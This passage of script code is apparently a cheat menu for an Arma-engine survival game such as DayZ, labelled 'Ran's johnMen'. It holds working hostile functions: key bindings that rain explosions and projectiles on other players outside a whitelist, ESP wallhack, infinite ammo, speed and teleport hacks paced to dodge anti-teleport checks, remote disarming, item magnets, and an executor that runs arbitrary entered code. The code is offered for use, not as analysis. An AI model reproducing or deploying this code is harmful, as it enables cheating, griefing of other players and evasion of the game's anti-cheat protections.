  1737. pos = _x modeltoworld [-.10,.10,.65];
  1738. };
  1739. _bullet = "a_composite" createvehiclelocal pos;
  1740. _bullet setVelocity [0, 0, -50000];
  1741.  
  1742. };
  1743.  
  1744. }foreach _entities;
  1745.  
  1746. }'];
  1747.  
  1748. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x26) then
  1749. {
  1750. _agent = player;
  1751. _range = 5000;
  1752. _ammo = "FuelExplosion";
  1753. _delay = 0;
  1754.  
  1755. melee_fnc_checkHitLocal = {
  1756. _agent = player;
  1757. _range = 5000;
  1758. _ammo = "FuelExplosion";
  1759. _delay = 0;
  1760. _array = lineHit [_this select 0, _this select 1, "fire", _agent,objNull,0];
  1761. _array select 0 requestDamage [_agent, _array select 2, _ammo, _array select 1];
  1762. };
  1763.  
  1764. [eyePos player,eyepos player #+ cursorDirection #* _range] call melee_fnc_checkHitLocal;
  1765. }'];
  1766.  
  1767. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x22) then
  1768. {
  1769. _wPos = screenToWorld [0.5,0.5];
  1770. _pos = [_wpos select 0, _wpos select 1, 5];
  1771. _bullettype = ["a_composite","a_bolt","A_hunting","A_target","A_primitive"] call fonzy_fnc_selectrandom;
  1772. _bullet = _bullettype createvehiclelocal _pos;
  1773. _bullet setVelocity [0, 0, -50000];
  1774.  
  1775. }'];
  1776.  
  1777. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x25) then
  1778. {
  1779. for "_i" from 0 to 200 do {
  1780. _wPos = screenToWorld [0.5,0.5];
  1781. _pos = [(_wpos select 0) + random 5, (_wpos select 1) + random 5, 5];
  1782. _bullet = "B_762x51_Ball" createvehiclelocal _pos;
  1783. _bullet setVelocity [0, 0, -50000];
  1784. uiSleep (5/30);
  1785. };
  1786.  
  1787. }'];
  1788.  
  1789. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x30) then
  1790. {
  1791. _ammo = "FuelExplosion";
  1792. _wPos = screenToWorld [0.5,0.5];
  1793. _pos = [_wpos select 0, _wpos select 1, 5];
  1794. _array = [cursortarget,29,_pos];
  1795. cursortarget requestDamage [player, _array select 2, _ammo, _array select 1];
  1796. }'];
  1797.  
  1798. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x27) then
  1799. {
  1800. _wPos = screenToWorld [0.5,0.5];
  1801. _pos = [_wpos select 0, _wpos select 1, 5];
  1802. _bullet = "LaserBombCore" createvehiclelocal _pos;
  1803. _bullet setVelocity [0, 0, -50000];
  1804. uiSleep (5/30);
  1805. }'];
  1806.  
  1807. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x28) then
  1808. {
  1809. for "_i" from 0 to 500 do {
  1810. _wPos = screenToWorld [0.5,0.5];
  1811. _pos = [(_wpos select 0) + random 250, (_wpos select 1) + random 250, 5];
  1812. _bullet = "LaserBombCore" createvehiclelocal _pos;
  1813. _bullet setVelocity [0, 0, -50000];
  1814. uiSleep (5/30);
  1815. };
  1816.  
  1817. }'];
  1818.  
  1819. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x23) then
  1820. {
  1821. _startingpos = screenToWorld [0.5,0.5];
  1822. _startingpos = [_startingpos select 0, _startingpos select 1, 0];
  1823.  
  1824. _entities = _startingpos nearEntities ["SurvivorBase",20];
  1825. {
  1826. _found = [getplayeruid _x,str whitelist] call InString;
  1827. if ((_x != player) && (alive _x) && !(_found)) then
  1828. {
  1829.  
  1830. _pos = _x modeltoworld [0,0,2];
  1831. _bullet = "MeleeFist" createvehiclelocal _pos;
  1832. _bullet setVelocity [0, 0, -50];
  1833. _bullet2 = "MeleeFist" createvehiclelocal _pos;
  1834. _bullet2 setVelocity [0, 0, -50];
  1835. _bullet3 = "MeleeFist" createvehiclelocal _pos;
  1836. _bullet3 setVelocity [0, 0, -50];
  1837. _bullet4 = "MeleeFist" createvehiclelocal _pos;
  1838. _bullet4 setVelocity [0, 0, -50];
  1839. _bullet5 = "MeleeFist" createvehiclelocal _pos;
  1840. _bullet5 setVelocity [0, 0, -50];
  1841. _bullet6 = "MeleeFist" createvehiclelocal _pos;
  1842. _bullet6 setVelocity [0, 0, -50];
  1843. _bullet7 = "MeleeFist" createvehiclelocal _pos;
  1844. _bullet7 setVelocity [0, 0, -50];
  1845. _bullet8 = "MeleeFist" createvehiclelocal _pos;
  1846. _bullet8 setVelocity [0, 0, -50];
  1847. _bullet9 = "MeleeFist" createvehiclelocal _pos;
  1848. _bullet9 setVelocity [0, 0, -50];
  1849. _bullet10 = "MeleeFist" createvehiclelocal _pos;
  1850. _bullet10 setVelocity [0, 0, -50];
  1851.  
  1852. };
  1853.  
  1854. }foreach _entities;
  1855.  
  1856. }'];
  1857.  
  1858. [] spawn
  1859. {
  1860. while {true} do
  1861. {
  1862. sleep 10;
  1863.  
  1864. [] spawn
  1865. {
  1866. lbclear 104;
  1867. lbadd [104, "All Players"];
  1868. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  1869. {
  1870. if ((name _x != "unknown entity") && (alive _x)) then
  1871. {
  1872. _display = (findDisplay 17);
  1873. _control = _display displayCtrl 104;
  1874. _control ctrlSetPosition [safezoneX + 0.025 * safezoneW, safezoneY + 0.12 * safezoneH, safezoneW * 0.18, safezoneH * 0.79];
  1875. _control ctrlSetEventHandler ["LBDblClick", "[lbtext [104, (lbCurSel 104)]] spawn johnscrpt_target;"];
  1876. _control ctrlCommit 0;
  1877. _index = _control lbAdd (name _x);
  1878. _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconMan_ca.paa"];
  1879. _hand = primaryWeapon _x;
  1880. _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
  1881. if (_wName != "") then
  1882. {
  1883. _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\islandmap\iconplayer_ca.paa"];
  1884. };
  1885. if (name _x == targetname ) then
  1886. {
  1887. _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\PeripheralVision\bloodTexture_ca.paa"];
  1888. };
  1889. _found = [getplayeruid _x,str whitelist] call InString;
  1890. if (_found) then
  1891. {
  1892. _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconTank_ca.paa"];
  1893. };
  1894. };
  1895. } forEach _entities;
  1896. };
  1897.  
  1898. };
  1899. };
  1900. };
  1901.  
  1902. rarnjohnMen = {
  1903.  
  1904. infammo = {
  1905. if (isnil ("infammoON")) then
  1906. {
  1907. infammoON = 0;
  1908. };
  1909. if (infammoON==0) then
  1910. {
  1911. systemchat "Infinite Ammo ON!";
  1912. infammoON=1;
  1913. }
  1914. else
  1915. {
  1916. infammoON=0;
  1917. systemchat "Infinite Ammo OFF!";
  1918. };
  1919. sCode = " while {infammoON==1} do{(vehicle player) setVehicleAmmo 1;sleep 0.1;};";
  1920. [] spawn compile sCode;
  1921. };
  1922.  
  1923. killme = {
  1924. while{alive player} do {
  1925. player setVelocity[0,0,1000];
  1926. sleep 0.2;
  1927. player setVelocity[0,0,-1000];
  1928. sleep 0.3;
  1929. };
  1930. };
  1931.  
  1932. executer = {
  1933. closedialog 0;
  1934. sleep 0.1;
  1935. createdialog 'rscdisplaynote';
  1936. sleep 0.2;
  1937. disableSerialization;
  1938. ctrlSetText[1600,'GoGoGo!'];
  1939. ctrlSettext[1601,'ByeBye'];
  1940. ctrlSetText[1300,'Fixed SScript Executer'];
  1941. buttonSetAction[1600,'_text = (ctrlText 1400); call compile _text;'];
  1942. };
  1943.  
  1944. dropnear = {
  1945. _list = position player nearEntities 999999999;
  1946. _msg = ("Found: "+(str (count _list))+" players.");
  1947. systemchat _msg;
  1948. {
  1949. if (name _x != "tim.young94" || name _x != "Distraught" || name _x != "Ran") then {
  1950. _x attachto [player,[0,5,12]];
  1951. };
  1952. } foreach _list;
  1953. sleep 3;
  1954. {detach _x} foreach _list;
  1955. systemchat "Dropped them mothafkers";
  1956. };
  1957.  
  1958. disarmnear = {
  1959. if(toggle_6) then {hint "Disarm Near Units ON!";} else {hint "Disarm Near Units OFF!";};
  1960. while{toggle_6} do {
  1961. _list = player nearEntities 100;
  1962. {
  1963. if(_x != player) then {
  1964. if((name _x != "Ran") && (name _x != "TornBush") && (name _x != "bowen")) then {
  1965. dropItems = _x;
  1966. publicVariableServer "dropItems";
  1967. };
  1968. };
  1969. } forEach _list;
  1970. sleep 0.1;
  1971. };
  1972. };
  1973.  
  1974. removegrass = {
  1975. if(toggle_5) then {
  1976. setTerrainGrid 50.0;hint "Terrain Hack ON";
  1977. } else {
  1978. setTerrainGrid 12.5;hint "Terrain Hack OFF";
  1979. };
  1980. };
  1981.  
  1982. nocollide = {
  1983. if(toggle_4) then {hint "NO COLLIDE ON";} else {hint "NO COLLIDE OFF";};
  1984. _objects = [];
  1985. while{toggle_4} do {
  1986. _list = player nearObjects 50;
  1987. {
  1988. if !(_x in _objects) then {
  1989. player disableCollisionWith _x;
  1990. _objects = _objects + [_x];
  1991. };
  1992. } forEach _list;
  1993. sleep 10;
  1994. };
  1995. {
  1996. player enableCollisionWith _x;
  1997. _objects = _objects - [_x];
  1998. } forEach _objects;
  1999. };
  2000.  
  2001. timeday = {
  2002. if (isnil ("loop1")) then {loop1 = 0;};
  2003. if (loop1==0) then {loop1=1;cutText [format["Enabled Loop"], "PLAIN DOWN"];hint "Enabled Loop";}else
  2004. {loop1=0;cutText [format["Disabled Loop"], "PLAIN DOWN"];hint "Disabled Loop";};
  2005. while {loop1==1} do
  2006. {
  2007. setDate [2012, 9, 1, 14, 0];
  2008. sleep 7;
  2009. };
  2010. };
  2011.  
  2012. esp2ez = {
  2013. toggleESP = {
  2014. tarDis = 800;
  2015.  
  2016. if (isNil 'espOn') then
  2017. {
  2018. espOn = 0;
  2019. };
  2020.  
  2021. if (espOn == 0) then
  2022. {
  2023. espOn = 1;
  2024. hint 'ESP ON';
  2025. _a = [];
  2026. while {espOn == 1} do
  2027. {
  2028. _entities = (position player nearObjects ["SurvivorBase",850]);
  2029. _count = count _entities;
  2030. {
  2031. if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > tarDis))) then {_a = _a - [_x];};
  2032. if ((_x != player) && (name _x != '') && !(_x in _a) && ((player distance _x) <= tarDis)) then
  2033. {
  2034. _a = _a + [_x];
  2035. [_x] spawn drawESP;
  2036. sleep 1;
  2037. };
  2038. } forEach _entities;
  2039. sleep 30;
  2040. };
  2041. } else {
  2042. espOn = 0;
  2043. hint 'ESP OFF';
  2044. };
  2045. };
  2046. drawESP = {
  2047. disableSerialization;
  2048. if (isNil 'ESP_Count') then {ESP_Count = 2733;};
  2049. ESP_Count cutRsc ['rscDynamicText', 'PLAIN'];
  2050. ESP_Count = ESP_Count + 1;
  2051. _ctrl = ((uiNamespace getvariable 'BIS_dynamicText') displayctrl 9999);
  2052. _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
  2053. _unit = _this select 0;
  2054. while {(alive _unit) && ((player distance _unit) < tarDis)} do
  2055. {
  2056. if (espOn == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
  2057. _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
  2058. _pos2D = WorldToScreen _pos;
  2059. _health = round(((_unit getVariable['blood',0])/5000)*100);
  2060. _hand = currentWeapon _unit;
  2061. _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
  2062. if(_wName == "") then {
  2063. _wName = _hand;
  2064. };
  2065. if (count _pos2D > 0) then
  2066. {
  2067. _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
  2068. _text = parseText format ['<t size=''0.35'' color=''#00FF00''>%1 (%2m) [HP: %3%]<br/>Hand: %4</t>', name _unit, round (player distance _unit),_health,_wName];
  2069. _ctrl ctrlSetStructuredText _text;
  2070. _ctrl ctrlCommit 0;
  2071. };
  2072. sleep 0.05;
  2073. };
  2074. _ctrl ctrlShow false;
  2075. _ctrl ctrlEnable false;
  2076. };
  2077. [] spawn toggleESP;
  2078. };
  2079.  
  2080. fastwalk = {
  2081. _doWait = false;
  2082. if(toggle_1) then {hint "SPEED WALK ON!";} else {hint "SPEED WALK OFF!";};
  2083. while{toggle_1} do {
  2084. if(_doWait) then {sleep 0.1;_doWait = false;};
  2085. if(inputAction "MoveForward" > 0|| inputAction "MoveFastForward" > 0|| inputAction "MoveSlowForward" > 0 || inputAction "EvasiveForward" > 0) then {
  2086. _distance = 0.7;
  2087. _dir = getdir vehicle player;
  2088. _pos = getposasl vehicle player;
  2089. if ((_pos select 2) > 5) then
  2090. {
  2091. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
  2092. }
  2093. else
  2094. {
  2095. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),getTerrainHeightASL [(_pos select 0),(_pos select 1)]-.1];
  2096. };
  2097. player setPosASL _pos;
  2098. _doWait = true;
  2099. } else {
  2100. if(inputAction "MoveBack" > 0|| inputAction "EvasiveBack" > 0) then {
  2101. _distance = -0.7;
  2102. _dir = getdir vehicle player;
  2103. _pos = getposasl vehicle player;
  2104. if ((_pos select 2) > 5) then
  2105. {
  2106. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
  2107. }
  2108. else
  2109. {
  2110. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),getTerrainHeightASL [(_pos select 0),(_pos select 1)]-.1];
  2111. };
  2112. player setPosASL _pos;
  2113. _doWait = true;
  2114. };
  2115. };
  2116. sleep 0.001;
  2117. };
  2118. };
  2119.  
  2120. Ranswalker = {
  2121. walkloc = ["nwaf","cherno","swaf","swmb","balota","cherno_resident","cherno_resident_2","dubky","oaks"];
  2122. nwaf = [4611,10477];
  2123. cherno = [7000, 2500];
  2124. cherno_resident = [5932,2572];
  2125. cherno_resident_2 = [6167,3217];
  2126. dubky = [6528,3555];
  2127. oaks = [6528,3555];
  2128. swaf = [4815,2565];
  2129. swmb = [4817,2223];
  2130. balota = [4406,2435];
  2131. getX = {
  2132. closeDialog 0;
  2133. disableSerialization;
  2134. createDialog "RscDisplayChat";
  2135. systemchat "<Autowalker>: CMDS -> nwaf - North West Airfield | cherno - Chenarus";
  2136. systemchat "<Autowalker>: CMDS -> swaf - South West Airfield | swmb - South West Military Barracks";
  2137. systemchat "<Autowalker>: CMDS -> balota - Balota";
  2138. systemchat "<AutoWalker>: Type your X coordinate in chat and press ESCAPE (enter 'exit' to quit)";
  2139. _doloop = true;
  2140. _checkChat =true;
  2141. while{_doloop} do {
  2142. waitUntil{!isNull (findDisplay 24)};
  2143. _oldText = "";
  2144. _ctrl = (findDisplay 24) displayctrl 101;
  2145. while{_checkChat} do {
  2146. hintSilent format["X Coord: %1",parseNumber(_oldText)];
  2147. waitUntil{(isNull (findDisplay 24)) || (count(toArray(ctrlText _ctrl)) != count(toArray(_oldText))) };
  2148. if(isNull (findDisplay 24)) exitWith {
  2149. _text = toLower(_oldText);
  2150. _checkChat = false;
  2151. _doloop = false;
  2152. if(_text != 'exit' && !(_text in walkloc)) then {
  2153. _x = parseNumber(_text);
  2154. [_x] spawn getY;
  2155. _checkChat = false;
  2156. _doloop = false;
  2157. } else {
  2158. if(_text in walkloc) exitWith {
  2159. call compile (_text + " spawn doWalk;");
  2160. systemChat ("Going to: " + _text);
  2161. };
  2162. systemchat "<AutoWalker>: Exiting...";
  2163. };
  2164. };
  2165. _oldText = ctrlText _ctrl;
  2166.  
  2167. };
  2168. waitUntil{isNull (findDisplay 24)};
  2169. };
  2170. };
  2171. getY = {
  2172. disableSerialization;
  2173. systemchat "<AutoWalker>: Type your Y coordinate in chat and press ESCAPE";
  2174. _x = _this select 0;
  2175. _doloop = true;
  2176. _checkChat =true;
  2177. while{_doloop} do {
  2178. waitUntil{!isNull (findDisplay 24)};
  2179. _oldText = "";
  2180. _ctrl = (findDisplay 24) displayctrl 101;
  2181. while{_checkChat} do {
  2182. hintSilent format["Y Coord: %1",parseNumber(_oldText)];
  2183. waitUntil{(isNull (findDisplay 24)) or (count(toArray(ctrlText _ctrl)) != count(toArray(_oldText))) };
  2184. if(isNull (findDisplay 24)) exitWith {
  2185. _text = _oldText;
  2186. if(toLower(_text) != 'exit') then {
  2187. _y = parseNumber(_text);
  2188. [_x,_y] spawn doWalk;
  2189. _checkChat = false;
  2190. _doloop = false;
  2191. } else {
  2192. systemchat "<AutoWalker>: Exiting...";
  2193. _checkChat = false;
  2194. _doloop = false;
  2195. };
  2196. };
  2197. _oldText = ctrlText _ctrl;
  2198.  
  2199. };
  2200. waitUntil{isNull (findDisplay 24)};
  2201. };
  2202. };
  2203. doWalk = {
  2204. _despos = [(_this select 0),(_this select 1)];
  2205. _speed = 6.5;
  2206. _mypos = position player;
  2207. _decx = ((_despos select 0) < (_mypos select 0));
  2208. _decy = ((_despos select 1) < (_mypos select 1));
  2209. _xdis = abs((_mypos select 0) - (_despos select 0));
  2210. _ydis = abs((_mypos select 1) - (_despos select 1));
  2211. _hyp = sqrt(_xdis^2 + _ydis^2);
  2212. _ix = (_xdis/(_hyp/_speed));
  2213. _iy = (_ydis/(_hyp/_speed));
  2214.  
  2215. systemchat ("Starting Walk. Moving at "+(str _speed)+"m/s.");
  2216.  
  2217. if (_decx) then {
  2218. _ix = (-_ix);
  2219. };
  2220. if (_decy) then {
  2221. _iy = (-_iy);
  2222. };
  2223. boolrun = true;
  2224. _i = 0;
  2225. _ticks = 0;
  2226. _tickcheck = (85-floor(random 10));
  2227. while {
  2228. _pos = position player;
  2229. _xd = ((_pos select 0) - (_despos select 0));
  2230. _yd = ((_pos select 1) - (_despos select 1));
  2231. ((!(_xd < 15 && _xd > -15) || !(_yd < 15 && _yd > -15)) && boolrun);
  2232. } do
  2233. {
  2234. _i = _i + 1;
  2235. _ticks = _ticks + 1;
  2236. if (_ticks == 80) then {
  2237. _ticks = 0;
  2238. _sleeptime = floor(random 10);
  2239. systemchat ("Taking a "+(str _sleeptime)+" second break");
  2240. sleep _sleeptime;
  2241. _tickcheck = (85-floor(random 10));
  2242. };
  2243. _pos = position player;
  2244. if (
  2245. ((_despos select 0) < (_pos select 0) && !_decx) ||
  2246. ((_despos select 0) > (_pos select 0) && _decx)
  2247. ) then
  2248. {
  2249. _ix = 0;
  2250. if (_iy != 0) then {
  2251. if (!_decy) then {
  2252. _iy = _speed;
  2253. } else {
  2254. _iy = -_speed;
  2255. };
  2256. };
  2257. };
  2258. if (
  2259. ((_despos select 1) < (_pos select 1) && !_decy) ||
  2260. ((_despos select 1) > (_pos select 1) && _decy)
  2261. ) then
  2262. {
  2263. _iy = 0;
  2264. if (_ix != 0) then {
  2265. if (!_decx) then {
  2266. _ix = _speed;
  2267. } else {
  2268. _ix = -_speed;
  2269. };
  2270. };
  2271. };
  2272.  
  2273.  
  2274. _newpos = [((_pos select 0)+_ix), ((_pos select 1) + _iy),_pos select 2];
  2275. player setpos _newpos;
  2276. sleep 1;
  2277. _newpos = position player;
  2278. _travelspeed = (((_pos distance _newpos)/1000)*60*60);
  2279. _msgpos = [round (_newpos select 0),round (_newpos select 1),round (_newpos select 2)];
  2280. systemchat ("Ran AutoWalker: Position: "+(str _msgpos)+"."+str _i + " runs. " + str round _travelspeed + "km/h.");
  2281.  
  2282.  
  2283. if (
  2284. ((_newpos select 0) < (_pos select 0) && !_decx && _ix != 0) ||
  2285. ((_newpos select 1) < (_pos select 1) && !_decy && _iy != 0) ||
  2286. ((_newpos select 0) > (_pos select 0) && _decx && _ix != 0) ||
  2287. ((_newpos select 1) > (_pos select 1) && _decy && _iy != 0)
  2288. ) then
  2289. {
  2290. _arg = [
  2291. ((_newpos select 0) < (_pos select 0) && !_decx && _ix != 0),
  2292. ((_newpos select 1) < (_pos select 1) && !_decy && _iy != 0),
  2293. ((_newpos select 0) > (_pos select 0) && _decx && _ix != 0),
  2294. ((_newpos select 1) > (_pos select 1) && _decy && _iy != 0)
  2295. ];
  2296. systemchat "Caught by Anti-Teleport!";
  2297. sleep 2;
  2298. disableuserinput false;
  2299. systemchat str _arg;
  2300. _mypos = position player;
  2301. _decx = ((_despos select 0) < (_mypos select 0));
  2302. _decy = ((_despos select 1) < (_mypos select 1));
  2303. _xdis = abs((_mypos select 0) - (_despos select 0));
  2304. _ydis = abs((_mypos select 1) - (_despos select 1));
  2305. _hyp = sqrt(_xdis^2 + _ydis^2);
  2306. _ix = (_xdis/(_hyp/_speed));
  2307. _iy = (_ydis/(_hyp/_speed));
  2308.  
  2309. if (_decx) then {
  2310. _ix = (-_ix);
  2311. };
  2312. if (_decy) then {
  2313. _iy = (-_iy);
  2314. };
  2315. };
  2316. };
  2317. systemchat "Script Finished";
  2318. };
  2319. call getX;
  2320. };
  2321.  
  2322. __magnt = {
  2323. hint "START!";
  2324. _items = _this;
  2325. _list = (position player) nearObjects 1200;
  2326. _builder = "<t size='1'>Items Disconvered</t><br/><t size='0.5'>";
  2327. _attached = [];
  2328. {
  2329. _type = typeOf(_x);
  2330. _name = getText(configFile >> "cfgVehicles" >> _type >> "displayName");
  2331. if(_name == "") then {
  2332. _name = getText(configFile >> "cfgWeapons" >> _type >> "displayName");
  2333. };
  2334. if(_name == "") then {
  2335. _name = getText(configFile >> "cfgMagazines" >> _type >> "displayName");
  2336. };
  2337. if(_type in _items) then {
  2338. _builder = _builder + _name + "<br/>";
  2339. _x attachTo [player,[0,0,0]];
  2340. _attached = _attached + [_x];
  2341. };
  2342. } forEach _list;
  2343. _builder = _builder + "You have 60 seconds to loot!";
  2344. hint parseText _builder;
  2345. sleep 60;
  2346. {
  2347. detach _x;
  2348. } forEach _attached;
  2349. Hint "Looting Complete!";
  2350. };
  2351.  
  2352. w__magnt = {
  2353. weppp3 spawn __magnt;
  2354. };
  2355. a__magnt = {
  2356. amm0 spawn __magnt;
  2357. };
  2358. at__magnt = {
  2359. Att4chm3nt spawn __magnt;
  2360. };
  2361. f__magnt = {
  2362. F0od_Dr1nk spawn __magnt;
  2363. };
  2364. m__magnt = {
  2365. M3d1c4l spawn __magnt;
  2366. };
  2367. t__magnt = {
  2368. T0ol_it3ms spawn __magnt;
  2369. };
  2370. b__magnt = {
  2371. B4ckp4cks spawn __magnt;
  2372. };
  2373. i__magnt = {
  2374. It3m5 spawn __magnt;
  2375. };
  2376. c__magnt = {
  2377. Cl0th1ng spawn __magnt;
  2378. };
  2379. al__magnt = {
  2380. A11 spawn __magnt;
  2381. };
  2382.  
  2383. toggle_1 = false;
  2384. toggle_2 = false;
  2385. toggle_3 = false;
  2386. toggle_4 = false;
  2387. toggle_5 = false;
  2388. toggle_6 = false;
  2389. toggle_7 = false;
  2390. toggle_8 = false;
  2391. toggle_9 = false;
  2392. toggle_10 = false;
  2393.  
  2394. magjohnMen = [];
  2395. genSubjohnMen = {hint "holder";};
  2396.  
  2397. johnMenScripts = [
  2398. ["__magnt johnMen",{tempArray = magjohnMen;magjohnMen spawn genSubjohnMen;},false,"",true],
  2399. ["Suicide",killme,false,"",false],
  2400. ["Fixed Executer",executer,false,"",false],
  2401. ["Drop Near",dropnear,false,"",false],
  2402. ["AutoWalker",Ranswalker,true,"",false],
  2403. ["Fast Walk",fastwalk,true,"toggle_1",false],
  2404. ["ESP",esp2ez,true,"toggle_2",false],
  2405. ["Inf Ammo",infammo,true,"toggle_7",false],
  2406. ["No Collide",nocollide,true,"toggle_4",false],
  2407. ["No Grass",removegrass,true,"toggle_5",false],
  2408. ["Disarm Enemies",disarmnear,true,"toggle_6",false],
  2409. ["Time Day",timeday,true,"toggle_3",false]
  2410. ];
  2411.  
  2412. magjohnMen = [
  2413. ["Weapon __magnt",w__magnt,false,""],
  2414. ["Ammo __magnt",a__magnt,false,""],
  2415. ["Attachment __magnt",at__magnt,false,""],
  2416. ["Food & Drink __magnt",f__magnt,false,""],
  2417. ["Medical __magnt",m__magnt,false,""],
  2418. ["Weapon __magnt",t__magnt,false,""],
  2419. ["Backpack __magnt",b__magnt,false,""],
  2420. ["Item __magnt",i__magnt,false,""],
  2421. ["Clothing __magnt",c__magnt,false,""],
  2422. ["All Item __magnt",al__magnt,false,""]];
  2423.  
  2424. shiftjohnMen = {
  2425. if ((typeName _this) == "ARRAY") then {
  2426. _control = _this select 0;
  2427. _pos = ctrlPosition _control;
  2428. _control ctrlSetPosition [(_pos select 0)+0.5, (_pos select 1),(_pos select 2)+(_this select 1), (_pos select 3) + (_this select 2)];
  2429. _control ctrlCommit 0;
  2430. } else {
  2431. _control = _this;
  2432. _pos = ctrlPosition _control;
  2433. _control ctrlSetPosition [(_pos select 0)+0.5, (_pos select 1),(_pos select 2), (_pos select 3)];
  2434. _control ctrlCommit 0;
  2435. };
  2436. };
  2437.  
  2438. fixjohnMen = {
  2439. _display = _this;
  2440.  
  2441. _controlScripts = (_display displayCtrl 1021);
  2442. _pos = ctrlPosition _controlScripts;
  2443. _controlPlayers = (_display displayCtrl 1002);
  2444. _controlPlayers ctrlSetPosition [(_pos select 0)+(_pos select 2)+0.06, (_pos select 1)];
  2445. _controlPlayersBG = (_display displayCtrl 1022);
  2446. _controlPlayersBG ctrlSetPosition [(_pos select 0)+(_pos select 2)+0.06, (_pos select 1)];
  2447. _controlPlayers ctrlCommit 0;
  2448. _controlPlayersBG ctrlCommit 0;
  2449.  
  2450. [(_display displayCtrl 1021),0.05,0] call shiftjohnMen;
  2451. (_display displayCtrl 1022) call shiftjohnMen;
  2452.  
  2453. _mcontrol = (_this displayCtrl 1001);
  2454. _mpos = ctrlPosition _mcontrol;
  2455. _control = (_display displayCtrl 1023);
  2456. _pos = ctrlPosition _control;
  2457. _widthScripts = ctrlPosition (_display displayCtrl 1021) select 2;
  2458. _widthPlayers = ctrlPosition (_display displayCtrl 1022) select 2;
  2459. _control ctrlSetText "Ran's johnMen";
  2460. _control ctrlSetPosition [(_mpos select 0)+0.5, (_pos select 1)-0.1, (_widthScripts + _widthPlayers + 0.01),0.1];
  2461. _control ctrlCommit 0;
  2462.  
  2463. (_display displayCtrl 1013) ctrlShow false;
  2464. (_display displayCtrl 1013) ctrlSetScale 3;
  2465. (_display displayCtrl 1013) ctrlCommit 1;
  2466. };
  2467.  
  2468. genPlayers = {
  2469. _control = (_this displayCtrl 1002);
  2470. _control call shiftjohnMen;
  2471. _control lbAdd "Players:";
  2472. _control lbSetColor [0, [0, 1, 0, 0.5]];
  2473. _control lbAdd "-----------------------------";
  2474. _control lbSetColor [1, [0, 1, 0, 0.5]];
  2475. _list = player nearEntities ["SurvivorBase",850];
  2476. {
  2477. _control lbAdd format["%1",name _x];
  2478. }forEach _list;
  2479. };
  2480.  
  2481. dbClicked = {
  2482. disableserialization;
  2483. _index = _this;
  2484. _item = tempArray select _index;
  2485. _text = _item select 0;
  2486. _cmd = _item select 1;
  2487. _isToggle = _item select 2;
  2488. _toggleVar = _item select 3;
  2489. if(_isToggle) then {
  2490. call compile format["%1 = !%1",_toggleVar];
  2491. _bool= call compile _toggleVar;
  2492. if(_bool) then {
  2493. lbSetColor [1001,_index,[0,1,0,1]];
  2494. } else {
  2495. lbSetColor [1001,_index,[1,0,0,1]];
  2496. };
  2497. };
  2498. systemChat ("Ran johnMen: Started " + _text);
  2499. [] spawn _cmd;
  2500. };
  2501.  
  2502. g_en_Sr_ipts = {
  2503. _control = (_this displayCtrl 1001);
  2504. _control ctrlRemoveAllEventHandlers "LBSelChanged";
  2505. _control ctrlRemoveAllEventHandlers "LBDblClick";
  2506. _control ctrlRemoveAllEventHandlers "MouseButtonDown";
  2507. _control ctrlRemoveAllEventHandlers "KeyDown";
  2508. _control ctrlAddEventHandler ["LBDblClick","(_this select 1) spawn dbClicked;"];
  2509. _control ctrlCommit 0;
  2510. _control = (_this displayCtrl 1001);
  2511. _pos = ctrlPosition _control;
  2512. [_control,0.05,0] call shiftjohnMen;
  2513. disableSerialization;
  2514. _display = _this;
  2515. _left = _display displayctrl 1001;
  2516. _counter = 0;
  2517. lbClear _left;
  2518. {
  2519. _left lbAdd (_x select 0);
  2520. if((_x select 2)) then {
  2521. _bool= call compile (_x select 3);
  2522. if(_bool) then {
  2523. _left lbSetColor [_counter,[0,1,0,1]];
  2524. } else {
  2525. _left lbSetColor [_counter,[1,0,0,1]];
  2526. };
  2527. } else {
  2528. if (_x select 4) then {
  2529. _left lbSetColor [_counter,[0,0,0.75,1]];
  2530. } else {
  2531. _left lbSetColor [_counter,[1,1,1,1]];
  2532. };
  2533. };
  2534. _counter = _counter + 1;
  2535. } forEach johnMenScripts;
  2536. _left ctrlCommit 0;
  2537. };
  2538.  
  2539. genSubjohnMen = {
  2540. disableSerialization;
  2541. _display = findDisplay 129;
  2542. _left = _display displayctrl 1001;
  2543. _subscripts = _this;
  2544. _counter = 0;
  2545. lbClear _left;
  2546. {
  2547. _left lbAdd (_x select 0);
  2548. if((_x select 2)) then {
  2549. _bool= call compile (_x select 3);
  2550. if(_bool) then {
  2551. _left lbSetColor [_counter,[0,1,0,1]];
  2552. } else {
  2553. _left lbSetColor [_counter,[1,0,0,1]];
  2554. };
  2555. } else {
  2556. if (_x select 4) then {
  2557. _left lbSetColor [_counter,[0,0,0.75,1]];
  2558. } else {
  2559. _left lbSetColor [_counter,[1,1,1,1]];
  2560. };
  2561. };
  2562. _counter = _counter + 1;
  2563. } forEach _subscripts;
  2564. _left ctrlCommit 0;
  2565. };
  2566.  
  2567. startjohnMen = {
  2568. _ok = createDialog "RscDisplayDiary";
